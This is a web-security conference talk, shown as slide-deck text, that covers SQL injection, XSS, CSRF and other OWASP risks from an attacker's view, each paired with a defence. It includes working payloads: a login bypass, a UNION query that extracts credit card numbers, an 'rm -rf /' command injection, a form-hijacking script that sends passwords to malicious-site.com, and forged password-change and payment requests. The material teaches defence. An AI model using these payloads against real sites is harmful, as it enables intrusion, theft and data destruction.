Hacking Your Way To Better Security
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The document discusses web security vulnerabilities from an attacker's perspective, primarily focusing on SQL injection, cross-site scripting (XSS), and cross-site request forgery (CSRF). It outlines how these vulnerabilities can be exploited, provides examples of attacks, and emphasizes the importance of securing web applications against such threats. Recommendations for protection strategies include using prepared statements, escaping user input, and filtering data.
![Colin O’Dell
@colinodell
Lead Web Developer at Unleashed Technologies
PHP developer since 2002
league/commonmark maintainer
PHP 7 Upgrade Guide e-book author
php[world] 2015 CtF winner](https://image.slidesharecdn.com/zrsirl0osfg38kajjq71-signature-10440c3e4a178d1ed18f1f4275f42d56133ade8f5f57669bb60de76994a41f5b-poli-160408173705/85/Hacking-Your-Way-To-Better-Security-2-320.jpg)
![SQL Injection Basics
$value = $_REQUEST['value'];
SELECT * FROM x WHERE y = '[MALICIOUS CODE HERE]' ";
$sql = "SELECT * FROM x WHERE y = '$value' ";
$database->query($sql);](https://image.slidesharecdn.com/zrsirl0osfg38kajjq71-signature-10440c3e4a178d1ed18f1f4275f42d56133ade8f5f57669bb60de76994a41f5b-poli-160408173705/85/Hacking-Your-Way-To-Better-Security-10-320.jpg)
![$val = $_REQUEST['value'];
$sql = "SELECT * FROM x WHERE y = '$val' ";
$database->query($sql);
Protecting Against
SQL Injection
Block input with special
characters](https://image.slidesharecdn.com/zrsirl0osfg38kajjq71-signature-10440c3e4a178d1ed18f1f4275f42d56133ade8f5f57669bb60de76994a41f5b-poli-160408173705/85/Hacking-Your-Way-To-Better-Security-48-320.jpg)
![Protecting Against
SQL Injection
Block input with special
characters
Escape user input
$value = $_REQUEST['value'];
$escaped = mysqli_real_escape_string($value);
$sql = "SELECT * FROM x WHERE y = '$escaped' ";
$database->query($sql);
' OR '1' = '1 ' OR '1' = '1
mysqli_real_escape_string()
SELECT * FROM x
WHERE y = '' OR '1' = '1'](https://image.slidesharecdn.com/zrsirl0osfg38kajjq71-signature-10440c3e4a178d1ed18f1f4275f42d56133ade8f5f57669bb60de76994a41f5b-poli-160408173705/85/Hacking-Your-Way-To-Better-Security-49-320.jpg)
![Protecting Against
SQL Injection
Block input with special
characters
Escape user input
$value = $_REQUEST['value'];
$escaped = mysqli_real_escape_string($value);
$sql = "SELECT * FROM x WHERE y = '$escaped' ";
$database->query($sql);
' OR '1' = '1 ' OR '1' = '1
mysqli_real_escape_string()
SELECT * FROM x
WHERE y = '' OR '1' = '1'](https://image.slidesharecdn.com/zrsirl0osfg38kajjq71-signature-10440c3e4a178d1ed18f1f4275f42d56133ade8f5f57669bb60de76994a41f5b-poli-160408173705/85/Hacking-Your-Way-To-Better-Security-50-320.jpg)
![Protecting Against
SQL Injection
Block input with special
characters
Escape user input
Use prepared statements
$mysqli = new mysqli("localhost", "user", "pass", "db");
$q = $mysqli->prepare("SELECT * FROM x WHERE y = '?' ");
$q->bind_param(1, $_REQUEST['value']);
$q->execute();
Native PHP:
● mysqli
● pdo_mysql
Frameworks / Libraries:
● Doctrine
● Eloquent
● Zend_Db](https://image.slidesharecdn.com/zrsirl0osfg38kajjq71-signature-10440c3e4a178d1ed18f1f4275f42d56133ade8f5f57669bb60de76994a41f5b-poli-160408173705/85/Hacking-Your-Way-To-Better-Security-51-320.jpg)
![Other Types of Injection
NoSQL databases
OS Commands
LDAP Queries
SMTP Headers
$file = $_GET['filename'];
shell_exec("rm uploads/{$file}");
/rm.php?filename=foo.jpg+%26%26+rm+-rf+%2F
rm uploads/foo.jpg && rm -rf /](https://image.slidesharecdn.com/zrsirl0osfg38kajjq71-signature-10440c3e4a178d1ed18f1f4275f42d56133ade8f5f57669bb60de76994a41f5b-poli-160408173705/85/Hacking-Your-Way-To-Better-Security-52-320.jpg)
![XSS Attack
Basics
$value = $_POST['value'];
$value = $rssFeed->first->title;
$value = db_fetch('SELECT x FROM table');
<?php echo $value ?>
Raw code/script
is injected onto a page](https://image.slidesharecdn.com/zrsirl0osfg38kajjq71-signature-10440c3e4a178d1ed18f1f4275f42d56133ade8f5f57669bb60de76994a41f5b-poli-160408173705/85/Hacking-Your-Way-To-Better-Security-54-320.jpg)
![Protecting
Against XSS
Attacks $value = $_POST['value'];
$value = db_fetch('SELECT value FROM table');
$value = $rssFeed->first->title;
<?php echo $value ?>](https://image.slidesharecdn.com/zrsirl0osfg38kajjq71-signature-10440c3e4a178d1ed18f1f4275f42d56133ade8f5f57669bb60de76994a41f5b-poli-160408173705/85/Hacking-Your-Way-To-Better-Security-68-320.jpg)
![Protecting
Against XSS
Attacks
• Filter user input
$value = strip_tags($_POST['value']);
$value = strip_tags(
db_fetch('SELECT value FROM table')
);
$value = strip_tags($rssFeed->first->title);
<?php echo $value ?>](https://image.slidesharecdn.com/zrsirl0osfg38kajjq71-signature-10440c3e4a178d1ed18f1f4275f42d56133ade8f5f57669bb60de76994a41f5b-poli-160408173705/85/Hacking-Your-Way-To-Better-Security-69-320.jpg)
![Protecting
Against XSS
Attacks
• Filter user input
• Escape user
input
$value = htmlspecialchars($_POST['value']);
$value = htmlspecialchars(
db_fetch('SELECT value FROM table')
);
$value = htmlspecialchars($rssFeed->first->title);
<?php echo $value ?>
<script> <script>
htmlspecialchars()](https://image.slidesharecdn.com/zrsirl0osfg38kajjq71-signature-10440c3e4a178d1ed18f1f4275f42d56133ade8f5f57669bb60de76994a41f5b-poli-160408173705/85/Hacking-Your-Way-To-Better-Security-70-320.jpg)
![Protecting
Against XSS
Attacks
• Filter user input
• Escape user
input
• Escape output
$value = $_POST['value'];
$value = db_fetch('SELECT value FROM table');
$value = $rssFeed->first->title;
<?php echo htmlspecialchars($value) ?>](https://image.slidesharecdn.com/zrsirl0osfg38kajjq71-signature-10440c3e4a178d1ed18f1f4275f42d56133ade8f5f57669bb60de76994a41f5b-poli-160408173705/85/Hacking-Your-Way-To-Better-Security-71-320.jpg)
Hacking Your Way To Better Security
- 1. Hacking Your Way To Better Security
- 2. Colin O’Dell @colinodell Lead Web Developer at Unleashed Technologies PHP developer since 2002 league/commonmark maintainer PHP 7 Upgrade Guide e-book author php[world] 2015 CtF winner
- 3. Goals Explore several top security vulnerabilities from the perspective of an attacker. 1. Understand how to detect and exploit common vulnerabilities 2. Learn how to protect against those vulnerabilities
- 4. Disclaimers 1.NEVER test systems that aren’t yours without explicit permission. 2.Examples in this talk are fictional, but the vulnerability behaviors shown are very real.
- 5. OWASP Top 10
- 6. OWASP Top 10 Regular publication by The Open Web Application Security Project Highlights the 10 most-critical web application security risks
- 9. SQL Injection Modifying SQL statements to: Spoof identity Tamper with data Disclose hidden information
- 10. SQL Injection Basics $value = $_REQUEST['value']; SELECT * FROM x WHERE y = '[MALICIOUS CODE HERE]' "; $sql = "SELECT * FROM x WHERE y = '$value' "; $database->query($sql);
- 12. Username Password Log In admin Invalid username or password. Please try again. password'
- 14. tail –n 1 /var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "password'" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = 'password''; $ $
- 15. tail –n 1 /var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "password'" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = 'password''; $ ~~ $
- 18. tail –n 1 /var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "' test" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = '' test'; $ $
- 19. tail –n 1 /var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "' test" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = '' test'; $ $ ~~~~~~~~
- 20. ~~~~~~~~ SELECT * FROM users WHERE username = 'admin' AND password = '' test'; SELECT * FROM users WHERE username = 'admin' AND password = ''; SELECT * FROM users WHERE username = 'admin' AND password = '' OR (something that is true); SELECT * FROM users WHERE username = 'admin' AND (true); SELECT * FROM users WHERE username = 'admin';
- 21. SELECT * FROM users WHERE username = 'admin' AND password = '' test '; ' test
- 22. SELECT * FROM users WHERE username = 'admin' AND password = '' test '; ' test SELECT * FROM users WHERE username = 'admin' AND password = '' test '; ~~~~~~~~~~~~~~~
- 23. SELECT * FROM users WHERE username = 'admin' AND password = ' '; SELECT * FROM users WHERE username = 'admin' AND password = ' ';
- 24. SELECT * FROM users WHERE username = 'admin' AND password = '' '; ' SELECT * FROM users WHERE username = 'admin' AND password = '' '; ~~~
- 25. SELECT * FROM users WHERE username = 'admin' AND password = '' ' '; ' ' SELECT * FROM users WHERE username = 'admin' AND password = '' ' '; ~~~~~~~~~~~~~~
- 26. SELECT * FROM users WHERE username = 'admin' AND password = '' OR ' '; ' OR ' SELECT * FROM users WHERE username = 'admin' AND password = '' OR ' ';
- 27. SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'; ' OR '1'='1 SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';
- 28. Username Password Log In admin Unknown error. ' OR '1'='1
- 29. Welcome Admin! Admin Menu: Give customer money Take money away Review credit card applications Close accounts
- 31. Blind SQL Injection Invalid username or password. Please try again. Unknown error. Valid query (empty result) Invalid query Welcome Admin! Valid query (with result)
- 32. Username Password Log In admin ' AND (SELECT id FROM user LIMIT 1) = '
- 33. Username Password Log In admin ' AND (SELECT id FROM user LIMIT 1) = ' Unknown error. ErrorsQuery SELECT * FROM users WHERE username = 'admin' AND password = '' AND (SELECT id FROM user LIMIT 1) = '';
- 34. Username Password Log In admin ' AND (SELECT id FROM user LIMIT 1) = ' ErrorsQuery MySQL error: Unknown table 'user'. Unknown error.
- 35. Username Password Log In admin ' AND (SELECT id FROM users LIMIT 1) = ' ErrorsQuery MySQL error: Unknown table 'user'. Unknown error.
- 36. Username Password Log In admin Invalid username or password. Please try again.
- 38. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/123 SELECT * FROM books WHERE id = 123 $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => 'The Great Gatsby', 'author' => 'F. Scott Fitzgerald', 'price' => 9.75 }
- 39. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 SELECT * FROM books WHERE id = 99999 $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { }
- 40. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/????? SELECT * FROM books WHERE id = ????? $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '', 'author' => '', 'price' => 0.00 }
- 41. SQL UNION Query Column 1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 Column 1 Column 2 Column 3 Foo Bar 123 Column 1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 Foo Bar 123 UNION
- 42. SQL UNION Query Column 1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 Column 1 Column 2 Column 3 (SELECT) 1 1 Column 1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 (SELECT) 1 1 UNION
- 43. SQL UNION Query Column 1 Column 2 Column 3 (empty) Column 1 Column 2 Column 3 (SELECT) 1 1 Column 1 Column 2 Column 3 (SELECT) 1 1 UNION
- 44. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT number FROM creditcards SELECT * FROM books WHERE id = ????? $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '', 'author' => '', 'price' => 0.00 }
- 45. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards SELECT * FROM books WHERE id = ????? $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '', 'author' => '', 'price' => 0.00 }
- 46. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards SELECT * FROM books WHERE id = 99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '', 'author' => '', 'price' => 0.00 }
- 47. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards SELECT * FROM books WHERE id = 99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '4012-3456-7890-1234', 'author' => 1, 'price' => 1 }
- 48. $val = $_REQUEST['value']; $sql = "SELECT * FROM x WHERE y = '$val' "; $database->query($sql); Protecting Against SQL Injection Block input with special characters
- 49. Protecting Against SQL Injection Block input with special characters Escape user input $value = $_REQUEST['value']; $escaped = mysqli_real_escape_string($value); $sql = "SELECT * FROM x WHERE y = '$escaped' "; $database->query($sql); ' OR '1' = '1 ' OR '1' = '1 mysqli_real_escape_string() SELECT * FROM x WHERE y = '' OR '1' = '1'
- 50. Protecting Against SQL Injection Block input with special characters Escape user input $value = $_REQUEST['value']; $escaped = mysqli_real_escape_string($value); $sql = "SELECT * FROM x WHERE y = '$escaped' "; $database->query($sql); ' OR '1' = '1 ' OR '1' = '1 mysqli_real_escape_string() SELECT * FROM x WHERE y = '' OR '1' = '1'
- 51. Protecting Against SQL Injection Block input with special characters Escape user input Use prepared statements $mysqli = new mysqli("localhost", "user", "pass", "db"); $q = $mysqli->prepare("SELECT * FROM x WHERE y = '?' "); $q->bind_param(1, $_REQUEST['value']); $q->execute(); Native PHP: ● mysqli ● pdo_mysql Frameworks / Libraries: ● Doctrine ● Eloquent ● Zend_Db
- 52. Other Types of Injection NoSQL databases OS Commands LDAP Queries SMTP Headers $file = $_GET['filename']; shell_exec("rm uploads/{$file}"); /rm.php?filename=foo.jpg+%26%26+rm+-rf+%2F rm uploads/foo.jpg && rm -rf /
- 53. XSS Cross-Site Scripting Injecting code into the webpage (for other users) • Execute malicious scripts • Hijack sessions • Install malware • Deface websites
- 54. XSS Attack Basics $value = $_POST['value']; $value = $rssFeed->first->title; $value = db_fetch('SELECT x FROM table'); <?php echo $value ?> Raw code/script is injected onto a page
- 55. XSS – Cross-Site Scripting Basics Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners. <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script>
- 56. XSS – Cross-Site Scripting short.ly Paste a URL here Shorten
- 57. XSS – Cross-Site Scripting short.ly http://www.colinodell.com Shorten
- 58. XSS – Cross-Site Scripting short.ly http://www.colinodell.com Shorten Short URL: http://short.ly/b7fe9 Original URL:http://www.colinodell.com
- 59. XSS – Cross-Site Scripting short.ly Please wait while we redirect you to http://www.colinodell.com
- 60. XSS – Cross-Site Scripting short.ly <script>alert('hello world!');</script> Shorten
- 61. XSS – Cross-Site Scripting short.ly <script>alert('hello world!');</script> Shorten Short URL: http://short.ly/3bs8a Original URL: hello world! OK X
- 62. XSS – Cross-Site Scripting short.ly <script>alert('hello world!');</script> Shorten Short URL: http://short.ly/3bs8a Original URL:
- 63. <p> Short URL: <a href="…">http://short.ly/3bs8a</a> </p> <p> Original URL: <a href="…"><script>alert('hello world!');</script></a> </p>
- 64. XSS – Cross-Site Scripting short.ly <iframe src="https://www.youtube.com/embed/dQw4w9WgXcQ"> Shorten
- 65. XSS – Cross-Site Scripting short.ly <iframe src="https://www.youtube.com/embed/dQw4w9WgXcQ"> Shorten Short URL: http://short.ly/3bs8a Original URL:
- 66. XSS – Cross-Site Scripting short.ly Please wait while we redirect you to
- 67. XSS – Cross-Site Scripting document.getElementById('login-form').action = 'http://malicious-site.com/steal-passwords.php';
- 68. Protecting Against XSS Attacks $value = $_POST['value']; $value = db_fetch('SELECT value FROM table'); $value = $rssFeed->first->title; <?php echo $value ?>
- 69. Protecting Against XSS Attacks • Filter user input $value = strip_tags($_POST['value']); $value = strip_tags( db_fetch('SELECT value FROM table') ); $value = strip_tags($rssFeed->first->title); <?php echo $value ?>
- 70. Protecting Against XSS Attacks • Filter user input • Escape user input $value = htmlspecialchars($_POST['value']); $value = htmlspecialchars( db_fetch('SELECT value FROM table') ); $value = htmlspecialchars($rssFeed->first->title); <?php echo $value ?> <script> <script> htmlspecialchars()
- 71. Protecting Against XSS Attacks • Filter user input • Escape user input • Escape output $value = $_POST['value']; $value = db_fetch('SELECT value FROM table'); $value = $rssFeed->first->title; <?php echo htmlspecialchars($value) ?>
- 72. Protecting Against XSS Attacks • Filter user input • Escape user input • Escape output {{ some_variable }} {{ some_variable|raw }}
- 73. CSRF Cross-Site Request Forgery Execute unwanted actions on another site which user is logged in to. • Change password • Transfer funds • Anything the user can do
- 74. CSRF – Cross-Site Request Forgery Hi Facebook! I am colinodell and my password is *****. Welcome Colin! Here’s your news feed. Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners.
- 75. CSRF – Cross-Site Request Forgery Hi other website! Show me your homepage. Sure, here you go! Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners. <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script>
- 76. CSRF – Cross-Site Request Forgery <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script>
- 77. CSRF – Cross-Site Request Forgery <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script> Tell Facebook we want to change our password to hacked123 Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners.
- 78. CSRF – Cross-Site Request Forgery <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script> Hi Facebook! Please change my password to hacked123. Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners. Done!
- 79. CSRF – Cross-Site Request Forgery short.ly <img src="https://paypal.com/[email protected]&amt=9999"> Shorten
- 80. CSRF – Cross-Site Request Forgery short.ly Please wait while we redirect you to X
- 81. Protecting Against CSRF Attacks Use randomized CSRF tokens <input type="hidden" name="token" value="ao3i4yw90sae8rhsdrf"> 1. Generate a random string per user. 2. Store it in their session. 3. Add to form as hidden field. 4. Compare submitted value to session 1. Same token? Proceed. 2. Different/missing? Reject the request.
- 82. Insecure Direct Object References Access & manipulate objects you shouldn’t have access to
- 83. Insecure Direct Object References
- 84. Insecure Direct Object References Beverly Coop
- 85. Insecure Direct Object References
- 86. Insecure Direct Object References
- 87. Insecure Direct Object References
- 88. Insecure Direct Object References
- 89. Protecting Against Insecure Direct Object References Check permission on data input • URL / route parameters • Form field inputs • Basically anything that’s an ID • If they don’t have permission, show a 403 (or 404) page
- 90. Protecting Against Insecure Direct Object References Check permission on data input Check permission on data output • Do they have permission to access this object? • Do they have permission to even know this exists? • This is not “security through obscurity”
- 91. Sensitive Data Exposure Security Misconfiguration Components with Known Vulnerabilities
- 93. Sensitive Data Exposure - CHANGELOG
- 94. Sensitive Data Exposure – composer.lock
- 95. Sensitive Data Exposure – composer.lock
- 96. Sensitive Data Exposure – .git
- 97. Sensitive Data Exposure – robots.txt
- 98. Private information that is stored, transmitted, or backed-up in clear text (or with weak encryption) • Customer information • Credit card numbers • Credentials Sensitive Data Exposure
- 99. Security Misconfiguration & Components with Known Vulnerabilities Default accounts enabled; weak passwords • admin / admin Security configuration • Does SSH grant root access? • Are weak encryption keys used? Out-of-date software • Old versions with known issues • Are the versions exposed? • Unused software running (DROWN attack)
- 100. Components with Known Vulnerabilities
- 101. Components with Known Vulnerabilities
- 102. Components with Known Vulnerabilities
- 103. Protecting Against Sensitive Data Exposure, Security Misconfiguration, and Components with Known Vulnerabilities Keep software up-to-date • Install critical updates immediately • Install other updates regularly
- 104. Protecting Against Sensitive Data Exposure, Security Misconfiguration, and Components with Known Vulnerabilities Keep software up-to-date Keep sensitive data out of web root • Files which provide version numbers • README, CHANGELOG, .git, composer.lock • Database credentials & API keys • Encryption keys
- 105. Protecting Against Sensitive Data Exposure, Security Misconfiguration, and Components with Known Vulnerabilities Keep software up-to-date Keep sensitive data out of web root Use strong encryption • Encrypt with a strong private key • Encrypt backups and data-in-transit • Use strong hashing techniques for passwords
- 106. Protecting Against Sensitive Data Exposure, Security Misconfiguration, and Components with Known Vulnerabilities Keep software up-to-date Keep sensitive data out of web root Use strong encryption Test your systems • Scan your systems with automated tools • Test critical components yourself • Automated tests • Manual tests
- 107. Next Steps Test your own applications for vulnerabilities Learn more about security & ethical hacking Enter security competitions (like CtF) Stay informed
- 108. Questions?
- 109. Thanks! Slides & feedback: https://joind.in/17622 Colin O'Dell @colinodell